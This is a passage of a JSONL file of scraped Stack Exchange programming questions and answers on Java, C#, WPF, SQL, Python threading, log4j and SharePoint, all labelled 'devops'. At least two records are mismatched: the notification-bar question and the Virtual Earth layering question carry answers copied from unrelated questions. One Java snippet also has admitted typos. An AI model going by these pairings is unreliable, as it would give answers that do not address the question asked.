"2026-01-17T15:22:11.850193"}
{"id": "hf_5e66e89238e9", "question": "<p>When running a Java app from eclipse my ImageIcon shows up just fine.</p>\n\n<p>But after creating a jar the path to the image obviously gets screwed up.</p>\n\n<p>Is there a way to extract an image from the jar at runtime so I can then open it up?  Or, is there a better way to do this?</p>\n\n<p>I'd like to distribute a single jar file if possible.</p>\n", "question_body": "", "answer": "You can try something like:\n```\n```\nInputStream stream = this.getClass().getClassLoader().getResourceAsStream(\"/images/image.jpg\");\n```\n```\nIn your JAR file, you might have a directory structure of:\nMyJAR.jar\n- com (class files in here)\n- images\n----image.jpg", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.924175"}
{"id": "hf_0cdf88f061ee", "question": "<p>I want to return <code>StudentId</code> to use elsewhere outside of the <em>scope</em> of the <code>$.getJSON()</code></p>\n\n<pre><code>j.getJSON(url, data, function(result)\n{\n    var studentId = result.Something;\n});\n\n//use studentId here\n</code></pre>\n\n<p>I would imagine this has to do with scoping, but it doesn't seem to work the same way <em>c#</em> does</p>\n", "question_body": "", "answer": "Yeah, my previous answer does not work because I didn't pay any attention to your code. :)\nThe problem is that the anonymous function is a callback function - i.e. getJSON is an async operation that will return at some indeterminate point in time, so even if the scope of the variable were outside of that anonymous function (i.e. a closure), it would not have the value you would think it should:\n```\n```\nvar studentId = null;\nj.getJSON(url, data, function(result)\n{\n    studentId = result.Something;\n});\n\n// studentId is still null right here, because this line \n// executes before the line that sets its value to result.Something\n```\n```\nAny code that you want to execute with the value of studentId set by the getJSON call needs to happen either\nwithin\nthat callback function or\nafter\nthe callback executes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.961114"}
{"id": "hf_c5194647d79d", "question": "<p>Alright.</p>\n\n<p>So I figure it's about time I get into unit testing, since everyone's been banging on about it for long enough.  I've installed NUnit and gone through a few \"intro to unit testing\" type tutorials.</p>\n\n<p>I'm currently putting together a small framework to help with the rebuild of one of our web apps, so I've created a VS2008 project for my framework and I want to unit test it as I go.</p>\n\n<p>How on earth do I go about unit testing the WebControls?  The methods are all protected or private, and since it's a framework, there isn't much else but WebControls.</p>\n\n<p>Any pointers?</p>\n\n<p>Burns</p>\n", "question_body": "", "answer": "Ues the\n```\nassembly:InternalsVisibleTo\n```\nattribute and you'll be able to access those private members.\nPut it in your webcontrol project's\nAssemblyInfo.cs\n(under\nProperties\nnode)\n```\n```\n[assembly:InternalsVisibleTo(\"YourTestProjectName\")]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.997705"}
{"id": "hf_4d9aa3347cf3", "question": "<p>I'm currently creating an explicit reference to this in the outer class so that I have a name to refer to in the anonymous inner class.  Is there a better way to do this?</p>\n", "question_body": "", "answer": "Use\n```\nEnclosingClass.this\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.070843"}
{"id": "hf_c7c645f35cda", "question": "<p>I have a Person object with two constructors - one takes an int (personId), the other a string (logonName).  I would like another constructor that takes a string (badgeNumber).  I know this can't be done, but seems it might be a common situation.  Is there a graceful way of handling this?  I suppose this would apply to any overloaded method.  Code:</p>\n\n<pre><code>public class Person\n{\n    public Person() {}\n\n    public Person(int personId)\n    {\n        this.Load(personId);\n    }\n\n    public Person(string logonName)\n    {\n        this.Load(logonName);\n    }\n\n    public Person(string badgeNumber)\n    {\n        //load logic here...\n    }\n</code></pre>\n\n<p>...etc.</p>\n", "question_body": "", "answer": "You might consider using custom types.\nFor example, create LogonName and BadgeNumber classes.\nThen your function declarations look like...\n```\n```\npublic Person(LogonName ln)\n{\n    this.Load(ln.ToString());\n}\n\npublic Person(BadgeNumber bn)\n{\n    //load logic here...\n}\n```\n```\nSuch a solution might give you a good place to keep the business logic that governs the format and usage of these strings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.095387"}
{"id": "hf_5ddcdac0c5fc", "question": "<p>I have a method that where I want to redirect the user back to a login page located at the root of my web application.</p>\n\n<p>I'm using the following code:</p>\n\n<pre><code>Response.Redirect(\"~/Login.aspx?ReturnPath=\" + Request.Url.ToString());\n</code></pre>\n\n<p>This doesn't work though.  My assumption was that ASP.NET would automatically resolve the URL into the correct path.  Normally, I would just use</p>\n\n<pre><code>Response.Redirect(\"../Login.aspx?ReturnPath=\" + Request.Url.ToString());\n</code></pre>\n\n<p>but this code is on a master page, and can be executed from any folder level.  How do I get around this issue?</p>\n", "question_body": "", "answer": "What about using\n```\n```\nResponse.Redirect(String.Format(\"http://{0}/Login.aspx?ReturnPath={1}\", Request.ServerVariables[\"SERVER_NAME\"], Request.Url.ToString()));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.118755"}
{"id": "hf_0ca91fad35b9", "question": "<p>Using WPF, I have a TreeView control that I want to set its ItemTemplate dynamically through procedural code.  How do I do this?  I assume I need to find the resource somewhere.</p>\n\n<pre><code>myTreeViewControl.ItemTemplate =   ??\n</code></pre>\n", "question_body": "", "answer": "If the template is defined in your <Window.Resources> section directly:\n```\n```\nmyTreeViewControl.ItemTemplate = this.Resources[\"SomeTemplate\"] as DataTemplate;\n```\n```\nIf it's somewhere deep within your window, like in a <Grid.Resources> section or something, I think this'll work:\n```\n```\nmyTreeViewControl.ItemTemplate = this.FindResource(\"SomeTemplate\") as DataTemplate;\n```\n```\nAnd if it's elsewhere in your application, I\nthink\nApp.FindResource(\"SomeTemplate\") will work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.178014"}
{"id": "hf_7b23a26e1458", "question": "<p>What is the content type for MHT files?</p>\n", "question_body": "", "answer": "message/rfc822\nRFC 822 - STANDARD FOR THE FORMAT OF ARPA INTERNET TEXT MESSAGES\nHere is a hyperlink:\nmessage/rfc822", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.201655"}
{"id": "hf_9693440ea476", "question": "<p>I am using VMWare tools for Ubuntu Hardy, but for some reason <code>vmware-install.pl</code> finds fault with my LINUX headers. The error message says that the \"address space size\" doesn't match.</p>\n\n<p>To try and remediate, I have resorted to <code>vmware-any-any-update117</code>, and am now getting the following error instead:</p>\n\n<pre><code>In file included from include/asm/page.h:3,\n       from /tmp/vmware-config0/vmmon-only/common/hostKernel.h:56,\n       from /tmp/vmware-config0/vmmon-only/common/task.c:30:\ninclude/asm/page_32.h: In function ‘pte_t native_make_pte(long unsigned int)’:\ninclude/asm/page_32.h:112: error: expected primary-expression before ‘)’ token\ninclude/asm/page_32.h:112: error: expected ‘;’ before ‘{’ token\ninclude/asm/page_32.h:112: error: expected primary-expression before ‘.’ token\ninclude/asm/page_32.h:112: error: expected `;' before ‘}’ token\n</code></pre>\n\n<p>Can anyone help me make some sense of this, please?</p>\n", "question_body": "", "answer": "This error ofter occurs because incompatibility of VMWare Tools Version and recent Kernels (You can test it using older Kernels). Sometimes you can fix some thing with patches all over the internet, but I prefer to downgrade my kernel or don't using latest distribution's version in VMWare. It can be really annoying. Another problem you may have is with your mouse pointer in X Windows, like if it was a inch to left or below than it really shows.\nAbout vmware-any-any-update117, it's a patch to VMWare running under linux, usually Workstation version. It won't have effect in Tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.223662"}
{"id": "hf_8e556543a307", "question": "<p>What is the best way to profile a controller action in Ruby on Rails. Currently I am using the brute-force method of throwing in <code>puts Time.now</code> calls between what I think will be a bottleneck. But that feels really, really dirty. There has got to be a better way.</p>\n", "question_body": "", "answer": "Use the Benchmark standard library and the various tests available in Rails (unit, functional, integration). Here's an example:\n```\n```\ndef test_do_something\n  elapsed_time = Benchmark.realtime do\n    100.downto(1) do |index|\n      # do something here\n    end\n  end\n  assert elapsed_time < SOME_LIMIT\nend\n```\n```\nSo here we just do something 100 times, time it via the Benchmark library, and ensure that it took less than SOME_LIMIT amount of time.\nYou also may find these links useful: The\nBenchmark.realtime reference\nand the\nTest::Unit reference\n. Also, if you're into the 'book reading' thing, I picked up the idea for the example from\nAgile Web Development with Rails\n, which talks all about the different testing types and a little on performance testing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.322218"}
{"id": "hf_dca1240bab03", "question": "<p>I've been trying to wrap my head around how threads work in Python, and it's hard to find good information on how they operate. I may just be missing a link or something, but it seems like the official documentation isn't very thorough on the subject, and I haven't been able to find a good write-up.</p>\n\n<p>From what I can tell, only one thread can be running at once, and the active thread switches every 10 instructions or so?</p>\n\n<p>Where is there a good explanation, or can you provide one? It would also be very nice to be aware of common problems that you run into while using threads with Python.</p>\n", "question_body": "", "answer": "Below is a basic threading sample. It will spawn 20 threads; each thread will output its thread number. Run it and observe the order in which they print.\n```\n```\nimport threading\nclass Foo (threading.Thread):\n    def __init__(self,x):\n        self.__x = x\n        threading.Thread.__init__(self)\n    def run (self):\n          print str(self.__x)\n\nfor x in xrange(20):\n    Foo(x).start()\n```\n```\nAs you have hinted at Python threads are implemented through time-slicing. This is how they get the \"parallel\" effect.\nIn my example my Foo class extends thread, I then implement the\n```\nrun\n```\nmethod, which is where the code that you would like to run in a thread goes. To start the thread you call\n```\nstart()\n```\non the thread object, which will automatically invoke the\n```\nrun\n```\nmethod...\nOf course, this is just the very basics. You will eventually want to learn about semaphores, mutexes, and locks for thread synchronization and message passing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.358828"}
{"id": "hf_049faff52087", "question": "<p>I have a bunch of <strong>.NET</strong> frameworks installed on my machine.<br>\nI know that with the <strong>Java JDK</strong>, I can use the <strong>6.0</strong> version to target <strong>5.0</strong> and earlier.  </p>\n\n<p>Can I do something similar with the <strong>.NET</strong> framework - target <strong>1.0</strong> and <strong>2.0</strong> with the <strong>3.0</strong> framework?</p>\n", "question_body": "", "answer": "(\nUpdated\n)\nYou need to compile with the 1.0 compilers. These are only available with the 1.0 release of the runtime/SDK.\nThe 2.0/3.5 compilers won't emit 1.0-compatible assemblies.\nVisual Studio 2008 can generate 2.0 assemblies, but 1.0 was left off.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.383358"}
{"id": "hf_7c7e1b0c442d", "question": "<p>The MediaElement doesn't support rounded corners (radiusx, radiusy). Should I use a VideoBrush on a Rectangle with rounded corners?</p>\n", "question_body": "", "answer": "Yeah - In a way you're both asking and answering the question yourself... But that is one of the two options I can think of. The reasons that might be a problem is that you lose some of the features/control you get from the MediaElement control. Another option is to do this:\nAdd your MediaElement to your page.\nDraw a Rectangle on top of it and set wanted corner radius\nRight click the rectangle in Blend and choose \"Create Clipping Path\"\nApply the clipping path to your MediaElement\nThat way you're still using a MediaElement control, but you can \"clip\" away what ever you want to get the desired rounded effect.\nThis example shows a clipped MediaElement. I know it's not easy to picture the vector path, but if you open it open in Blend you will see a rounded MediaElement.\n```\n```\n<MediaElement \n        Height=\"132\" Width=\"176\" Source=\"Egypt2007.wmv\" \n        Clip=\"M0.5,24.5 C0.5,11.245166 11.245166,0.5 24.5,0.5 L151.5,0.5\n              C164.75484,0.5 175.5,11.245166 175.5,24.5 L175.5,107.5 C175.5,\n              120.75484 164.75484,131.5 151.5,131.5 L24.5,131.5 C11.245166,\n              131.5 0.5,120.75484 0.5,107.5 z\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.407908"}
{"id": "hf_801298c685b9", "question": "<p>I see many similar questions, however I want to find the Username of the currently logged in user using Java.</p>\n\n<p>Its probably something like:</p>\n\n<pre><code>System.getProperty(current.user);\n</code></pre>\n\n<p>But, I'm not quite sure.</p>\n", "question_body": "", "answer": "You're actually really close. This is what you're looking for:\n```\n```\nSystem.getProperty(\"user.name\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.458686"}
{"id": "hf_f3c661108875", "question": "<p>Using regular expressions, what is the simplest way to fetch a websites HTML and find the value inside this tag (or any attribute's value for that matter):</p>\n\n<pre><code>&lt;html&gt;\n  &lt;head&gt;\n  [snip]\n  &lt;meta name=\"generator\" value=\"thevalue i'm looking for\" /&gt;\n  [snip]\n</code></pre>\n", "question_body": "", "answer": "Depends on how sophisticated of an Http request you need to build (authentication, etc). Here's one simple way I've seen used in the past.\n```\n```\nStringBuilder html = new StringBuilder();\njava.net.URL url = new URL(\"http://www.google.com/\");\nBufferedReader input = null;\ntry {\n    input new BufferedReader(\n        new InputStreamReader(url.openStream()));\n\n    String htmlLine;\n    while ((htmlLine=input.readLine())!=null) {\n        html.appendLine(htmlLine);\n    }\n}\nfinally {\n    input.close();\n}\n\nPattern exp = Pattern.compile(\n    \"<meta name=\\\"generator\\\" value=\\\"([^\\\"]*)\\\" />\");\nMatcher matcher = exp.matcher(html.toString());\nif(matcher.find())\n{\n    System.out.println(\"Generator: \"+matcher.group(1));\n}\n```\n```\nProbably plenty of typos here to be found when compiled.\n(hope this wasn't homework)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.516977"}
{"id": "hf_9286b9b122bc", "question": "<p>Without the use of any external library, what is the simplest way to fetch a website's HTML content into a String?</p>\n", "question_body": "", "answer": "I'm currently using this:\n```\n```\nString content = null;\nURLConnection connection = null;\ntry {\n  connection =  new URL(\"http://www.google.com\").openConnection();\n  Scanner scanner = new Scanner(connection.getInputStream());\n  scanner.useDelimiter(\"\\\\Z\");\n  content = scanner.next();\n  scanner.close();\n}catch ( Exception ex ) {\n    ex.printStackTrace();\n}\nSystem.out.println(content);\n```\n```\nBut not sure if there's a better way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.568950"}
{"id": "hf_54bd6b1ca685", "question": "<p>When you get a badge or aren't logged in to stack overflow there's a groovy little notification bar at the top of the page that lets you know there's something going on.</p>\n\n<p>I know the SOflow team use JQuery, but I was wondering if anyone knew of an implementation of the same style of notification system in asp.net AJAX.</p>\n\n<p>On a side note, what's the \"official\" name for this style of notification bar?</p>\n", "question_body": "", "answer": "I'm currently using this:\n```\n```\nString content = null;\nURLConnection connection = null;\ntry {\n  connection =  new URL(\"http://www.google.com\").openConnection();\n  Scanner scanner = new Scanner(connection.getInputStream());\n  scanner.useDelimiter(\"\\\\Z\");\n  content = scanner.next();\n  scanner.close();\n}catch ( Exception ex ) {\n    ex.printStackTrace();\n}\nSystem.out.println(content);\n```\n```\nBut not sure if there's a better way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.592256"}
{"id": "hf_4713ccb0a43f", "question": "<p>I'm trying to fetch some HTML from various blogs and have noticed that different providers use the same tag in different ways.</p>\n\n<p>For example, here are two major providers that use the meta name generator tag differently:</p>\n\n<ul>\n<li>Blogger: <code>&lt;meta content='blogger' name='generator'/&gt;</code> (content first, name later and, yes, single quotes!)  </li>\n<li>WordPress: <code>&lt;meta name=\"generator\" content=\"WordPress.com\" /&gt;</code> (name first, content later)</li>\n</ul>\n\n<p>Is there a way to extract the value of content for all cases (single/double quotes, first/last in the row)?</p>\n\n<p>P.S. Although I'm using Java, the answer would probably help more people if it where for regular expressions generally.</p>\n", "question_body": "", "answer": "Those differences are not really important according to the XHTML standard.\nIn other words, they are exactly the same thing.\nAlso, if you replace double quotes with single quotes would be the same.\nThe typical way of 'normalizing' an xml document is to pare it using some API that treats the document as its Infoset representation. Both DOM and SAX style APIs work that way.\nIf you want to parse them by hand (or with a RegEx) you have to replicate all those things in your code and, in my opinion, that's not practical.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.696293"}
{"id": "hf_916944b5bf3a", "question": "<p>Using SqlServer, and trying to update rows from within the same table. I want to use a table alias for readability.\nThis is the way I am doing it at the moment:</p>\n<pre><code>UPDATE ra \nSET ra.ItemValue = rb.ItemValue\nFROM dbo.Rates ra, dbo.Rates rb\nWHERE ra.ResourceID = rb.ResourceID\nAND ra.PriceSched = 't8'\nAND rb.PriceSched = 't9'\n</code></pre>\n<p>Are there easier / better ways?</p>\n", "question_body": "", "answer": "```\n```\nUPDATE ra \n   SET ra.ItemValue = rb.ItemValue\n  FROM dbo.Rates ra\n INNER JOIN dbo.Rates rb\n         ON ra.ResourceID = rb.ResourceID\nWHERE ra.PriceSched = 't8'\n  AND rb.PriceSched = 't9';\n```\n```\nThis might help in improving performance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.718955"}
{"id": "hf_63e9f0db0037", "question": "<p>Depending on my mood I seem to waffle back and forth between wanting a Lisp-1 and a Lisp-2.  Unfortunately beyond the obvious name space differences, this leaves all kinds of amusing function name/etc problems you run into.  Case in point, trying to write some code tonight I tried to do (map #'function listvar) which, of course, doesn't work in CL, at all.  Took me a bit to remember I wanted mapcar, not map.  Of course it doesn't help when slime/emacs shows map IS defined as something, though obviously not the same function at all.</p>\n\n<p>So, pointers on how to minimize this short of picking one or the other and sticking with it?</p>\n", "question_body": "", "answer": "Map\nis more general than mapcar, for example you could do the following rather than using mapcar:\n```\n```\n(map 'list #'function listvar)\n```\n```\nHow do I keep scheme and CL separate in my head? I guess when you know both languages well enough you just know what works in one and not the other. Despite the syntactic similarities they are quite different languages in terms of style.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.754510"}
{"id": "hf_9b97c80cb0f9", "question": "<p>I'm writing an app that will need to make use of <code>Timer</code>s, but potentially very many of them.  How scalable is the <code>System.Threading.Timer</code> class?  The documentation merely say it's \"lightweight\", but doesn't explain further.  Do these timers get sucked into a single thread (or very small threadpool) that processes all the callbacks on behalf of a <code>Timer</code>, or does each <code>Timer</code> have its own thread?  </p>\n\n<p>I guess another way to rephrase the question is: How is <code>System.Threading.Timer</code> implemented?</p>\n", "question_body": "", "answer": "I think you might want to rethink your design (that is, if you have control over the design yourself). If you're using so many timers that this is actually a concern for you, there's clearly some potential for consolidation there.\nHere's a good article from MSDN Magazine from a few years ago that compares the three available timer classes, and gives some insight into their implementations:\nhttp://msdn.microsoft.com/en-us/magazine/cc164015.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.800909"}
{"id": "hf_8b6b7821a3b0", "question": "<p>I am coding a client-server application using Eclipse's RCP.\nWe are having trouble testing the interaction between the two sides\nas they both contain a lot of GUI and provide no command-line or other\nremote API.</p>\n\n<p>Got any ideas?</p>\n", "question_body": "", "answer": "I have about 1.5 years worth of experience with the RCP framework, I really liked it. We simply JUnit for testing...\nIt's sort of cliche to say, but if it's not easy to test, maybe the design needs some refactoring?\nJava and the RCP framework provide great facilities for keeping GUI code and logic code separate. We used the MVC pattern with the observer, observable constructs that are available in Java...\nIf you don't know about observer / observable construct that are in Java, I would HIGHLY recommend you take a look at this:\nhttp://www.javaworld.com/javaworld/jw-10-1996/jw-10-howto.html\n, you will use it all the time and your apps will be easier to test.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.848009"}
{"id": "hf_c45710073ff8", "question": "<p>I've recently come to maintain a large amount of scientific calculation-intensive FORTRAN code.  I'm having difficulties getting a handle on all of the, say, nuances, of a forty year old language, despite google &amp; two introductory level books.  The code is rife with \"performance enhancing improvements\".  Does anyone have any guides or practical advice for <strong>de</strong>-optimizing FORTRAN into CS 101 levels?  Does anyone have knowledge of how FORTRAN code optimization operated? Are there any typical FORTRAN 'gotchas' that might not occur to a Java/C++/.NET raised developer taking over a FORTRAN 77/90 codebase?</p>\n", "question_body": "", "answer": "Well, in one sense, you're lucky, 'cause Fortran doesn't have much in the way of subtle flow-of-control constructs or inheritance or the like.  On the other, it's got some truly amazing gotchas, like the arithmetically-calculated branch-to-numeric-label stuff, the implicitly-typed variables which don't require declaration, the lack of true keywords.\nI don't know about the \"performance enhancing improvements\".  I'd guess most of them are probably ineffective, as a couple of decades of compiler technology have made most hinting unnecessary.  Unfortunately, you'll probably have to leave things the way they are, unless you're planning to do a massive rewrite.\nAnyway, the core scientific calculation code should be fairly readable.  Any programming language using infix arithmetic would be good preparation for reading Fortran's arithmetic and assignment code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.892393"}
{"id": "hf_0238344353cb", "question": "<p>I mostly use Java and generics are relatively new. I keep reading that Java made the wrong decision or that .NET has better implementations etc. etc.</p>\n\n<p>So, what are the main differences between C++, C#, Java in generics? Pros/cons of each?</p>\n", "question_body": "", "answer": "Wikipedia has great write-ups comparing both\nJava/C# generics\nand\nJava generics/C++\ntemplates. The\nmain article on Generics\nseems a bit cluttered but it does have some good info in it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.926685"}
{"id": "hf_9d27956eddbf", "question": "<p>I have a mapping application that needs to draw a path, and then display icons on top of the path. I can't find a way to control the order of virtual earth layers, other than the order in which they are added. </p>\n\n<p>Does anyone know how to change the z index of Virtual Earth shape layers, or force a layer to the front?</p>\n", "question_body": "", "answer": "Wikipedia has great write-ups comparing both\nJava/C# generics\nand\nJava generics/C++\ntemplates. The\nmain article on Generics\nseems a bit cluttered but it does have some good info in it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:12.957234"}
{"id": "hf_83c4feddc553", "question": "<p>How can I find out which Service Pack is installed on my copy of SQL Server?</p>\n", "question_body": "", "answer": "From TechNet:\nDetermining which version and edition of SQL Server Database Engine is running\n```\n```\n-- SQL Server 2000/2005\nSELECT  SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')\n\n-- SQL Server 6.5/7.0\nSELECT @@VERSION\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.067051"}
{"id": "hf_f8caab4ca8be", "question": "<p>I tried finding a python script in google that will generate a random terrain when the game starts (or each time a the player advances to a new scene) but all the tools I found are for creating a terrain to render it, not for the game mode.</p>\n\n<p>Any idea how/where to find one?</p>\n\n<p>(I'm assuming that since Blender3D has game programming capabilities, it is OK for someone to ask in SO)</p>\n", "question_body": "", "answer": "Is this link related?\nhttp://blenderartists.org/forum/showthread.php?t=77794\nTo generate terrain (height map) the algorithm is pretty simple (fractal plasma), something like this algorithm (Java):\nhttp://www.sinc.stonybrook.edu/stu/jseyster/plasma/\nIf you Google search for \"fractal plasma python\" you might find some example code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.101574"}
{"id": "hf_e2456daff8fd", "question": "<p>Is it still worth to add the log4j library to a Java 5 project just to log\nlet's say some exceptions to a file with some nice rollover settings.\nOr will the standard util.logging facility do the job as well?</p>\n\n<p>What do you think?</p>\n", "question_body": "", "answer": "I'd say you're probably fine with util.logging for the needs you describe.\nFor a good decision tree, have a look at\nLog4j vs java.util.logging\nQuestion One :\nDo you anticipate a need for any of the clever handlers that Log4j has that JUL does not have, such as the SMTPHandler, NTEventLogHandler, or any of the very convenient FileHandlers?\nQuestion Two :\nDo you see yourself wanting to frequently switch the format of your logging output? Will you need an easy, flexible way to do so? In other words, do you need Log4j's PatternLayout?\nQuestion Three :\nDo you anticipate a definite need for the ability to change complex logging configurations in your applications, after they are compiled and deployed in a production environment? Does your configuration sound something like, \"Severe messages from this class get sent via e-mail to the support guy; severe messages from a subset of classes get logged to a syslog deamon on our server; warning messages from another subset of classes get logged to a file on network drive A; and then all messages from everywhere get logged to a file on network drive B\"? And do you see yourself tweaking it every couple of days?\nIf you can answer yes to any of the above questions, go with Log4j. If you answer a definite no to all of them, JUL will be more than adequate and it's conveniently already included in the SDK.\nThat said, pretty much every project these days seems to wind up including log4j, if only because some other library uses it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:13.125558"}
{"id": "hf_070fceb56e47", "question": "<p>What is the best way to upload a file to a Document Library on a SharePoint server through the built-in web services that version WSS 3.0 exposes?</p>\n\n<p><strong>Following the two initial answers...</strong></p>\n\n<ul>\n<li><p>We definitely need to use the Web Service layer as we will be making these calls from remote client applications.</p></li>\n<li><p>The WebDAV method would work for us, but we would prefer to be consistent with the web service integration method.</p></li>\n</ul>\n\n<p><Blockquote>\nThere is additionally a web service to upload files, painful but works all the time.\n</Blockquote></p>\n\n<p>Are you referring to the “Copy” service? \nWe have been successful with this service’s <code>CopyIntoItems</code> method. Would this be the recommended way to upload a file to Document Libraries using only the WSS web service API?</p>\n\n<p>I have posted our code as a suggested answer.</p>\n", "question_body": "", "answer": "From a colleage at work:\nLazy way: your Windows WebDAV filesystem interface. It is bad as a programmatic solution because it relies on the WindowsClient service running on your OS, and also only works on websites running on port 80. Map a drive to the document library and get with the file copying.\nThere is additionally a web service to upload files, painful but works all the time.\nI believe you are able to upload files via the FrontPage API but I don’t know of anyone who actually uses it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 